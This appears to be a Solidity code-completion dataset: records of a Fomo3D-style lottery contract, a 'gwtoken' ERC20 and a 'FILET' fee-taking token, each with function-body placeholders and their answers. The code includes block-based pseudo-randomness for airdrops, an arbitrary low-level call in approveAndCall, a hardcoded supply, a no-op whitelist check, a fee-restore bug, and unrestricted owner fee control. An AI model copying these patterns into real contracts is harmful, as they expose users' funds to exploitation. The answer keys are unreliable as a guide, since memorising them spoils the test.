* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
shareCom.transfer((_com.mul(65) / 100));
admin.transfer((_com.mul(35) / 100));
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
uint256 _rndInc = rndInc_;
if(round_[_rID].pot > rndLimit_)
{
_rndInc = _rndInc / 2;
}
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay community rewards
uint256 _com = _eth / 10;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
// pay 1% out to FoMo3D short
// uint256 _long = _eth / 100;
// otherF3D_.potSwap.value(_long)();
_p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID));
// pay out p3d
// _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
uint256 _amount = _p3d.sub(_potAmount);
shareCom.transfer((_amount.mul(65)/100));
admin.transfer((_amount.mul(35)/100));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
returns(uint256)
{
uint256 _addP3d = 0;
// distribute share to affiliate
uint256 _aff1 = _eth / 10;
uint256 _aff2 = _eth / 20;
uint256 _aff3 = _eth / 34;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != ''))
{
plyr_[_pID].laffID = _affID;
plyr_[_affID].aff = _aff1.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff1, now);
//second level aff
uint256 _secLaff = plyr_[_affID].laffID;
if((_secLaff != 0) && (_secLaff != _pID))
{
plyr_[_secLaff].aff = _aff2.add(plyr_[_secLaff].aff);
emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff2, now);
//third level aff
uint256 _thirdAff = plyr_[_secLaff].laffID;
if((_thirdAff != 0 ) && (_thirdAff != _pID))
{
plyr_[_thirdAff].aff = _aff3.add(plyr_[_thirdAff].aff);
emit F3Devents.onAffiliatePayout(_thirdAff, plyr_[_thirdAff].addr, plyr_[_thirdAff].name, _rID, _pID, _aff3, now);
} else {
_addP3d = _addP3d.add(_aff3);
}
} else {
_addP3d = _addP3d.add(_aff2);
}
} else {
_addP3d = _addP3d.add(_aff1);
}
return(_addP3d);
}
function getPlayerAff(uint256 _pID)
public
view
returns (uint256,uint256,uint256)
{
uint256 _affID = plyr_[_pID].laffID;
if (_affID != 0)
{
//second level aff
uint256 _secondLaff = plyr_[_affID].laffID;
if(_secondLaff != 0)
{
//third level aff
uint256 _thirdAff = plyr_[_secondLaff].laffID;
}
}
return (_affID,_secondLaff,_thirdAff);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
//_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
_eth = _eth.sub(_eth.mul(30) / 100);
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
// can only be ran once
require(activated_ == false, "FOMO Short already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
} |
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
| function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
| /**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
|
28280 | gwtoken | gwtoken | contract gwtoken is StandardToken {
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol; //token
string public version = 'v1.0';
function gwtoken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) {<FILL_FUNCTION_BODY> }
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | contract gwtoken is StandardToken {
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol; //token
string public version = 'v1.0';
<FILL_FUNCTION>
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} |
balances[msg.sender] = 2000000000000000000000000000; // 初始token数量给予消息发送者
totalSupply = 2000000000000000000000000000; // 设置初始总量
name = _tokenName; // token名称
decimals = _decimalUnits; // 小数位数
symbol = _tokenSymbol; // token简称
| function gwtoken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) | function gwtoken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) |
30100 | FILET | _transferToExcluded | contract FILET is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isWhitelist;
mapping (address => uint256) private _lockedTime;
mapping (address => uint256) private _lockedAmount;
mapping (address => uint256) private _antiBot;
mapping (address => uint256) private _lockPreSale;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'FILET🥩';
string private _symbol = 'FILET🥩';
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 public _charityFee = 5;
uint256 public _burnFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousCharityFee = _charityFee;
uint256 private _previousBurnFee = _burnFee;
bool public _isAntiDumpEnabled = false;
uint256 public antiDumpTime;
address payable public _charityWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 1000000000000 * 10**9;
uint256 private _numOfTokensToExchangeForCharity = 5 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable charityWalletAddress) public {
_charityWalletAddress = charityWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _charityFee == 0 && _burnFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_charityFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
_burnFee = _previousBurnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_isAntiDumpEnabled == true && sender != owner() && recipient != owner()){
if(sender == uniswapV2Pair){
uint256 timePassed = block.timestamp - _antiBot[recipient];
require(timePassed > antiDumpTime,'You must wait between trades');
_antiBot[recipient] = block.timestamp;
}
else if(recipient == uniswapV2Pair){
uint256 timePassed = block.timestamp - _antiBot[sender];
require(timePassed > antiDumpTime,'You must wait between trades');
_antiBot[sender] = block.timestamp;
}
else if(sender != uniswapV2Pair && recipient != uniswapV2Pair){
uint256 timePassed1 = block.timestamp - _antiBot[sender];
uint256 timePassed2 = block.timestamp - _antiBot[recipient];
require(timePassed1 > antiDumpTime && timePassed2 > antiDumpTime, 'You Must Wait Some Time Between Transactions');
_antiBot[sender] = block.timestamp;
_antiBot[recipient] = block.timestamp;
}
}
//If sender has purchased during presale, must wait lockPreSale to transfer.
if(_isWhitelist[sender] == true) {
uint256 time_since_purchase = block.timestamp - _lockedTime[sender];
if(time_since_purchase < _lockPreSale[sender]){
require((balanceOf(sender) - amount) >= _lockedAmount[sender], 'You Must Wait Some Time From Original Transaction');
}
else {
_isWhitelist[sender] == false;
}
}
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular charity event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the charity wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToCharity(uint256 amount) private {
_charityWalletAddress.transfer(amount);
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToCharity(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
uint256 burnAmt = amount.mul(_burnFee).div(100);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount.sub(burnAmt));
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount.sub(burnAmt));
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount.sub(burnAmt));
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount.sub(burnAmt));
} else {
_transferStandard(sender, recipient, amount.sub(burnAmt));
}
//remove fees to burn tokens
_taxFee = 0;
_charityFee = 0;
_transferStandard(sender, address(0), burnAmt);
_taxFee = _previousTaxFee;
_charityFee = _previousBurnFee;
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {<FILL_FUNCTION_BODY> }
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rCharity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tCharity = tAmount.mul(charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setCharityFee(uint256 charityFee) external onlyOwner() {
_charityFee = charityFee;
}
function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() {
_charityWalletAddress = charityWalletAddress;
}
function distTokens(address[] memory recipients, uint256[] memory amounts, uint256 time) external onlyOwner{
require(recipients.length == amounts.length, 'Arrays must have same size');
for(uint i = 0; i< recipients.length; i++){
_isWhitelist[recipients[i]] = true;
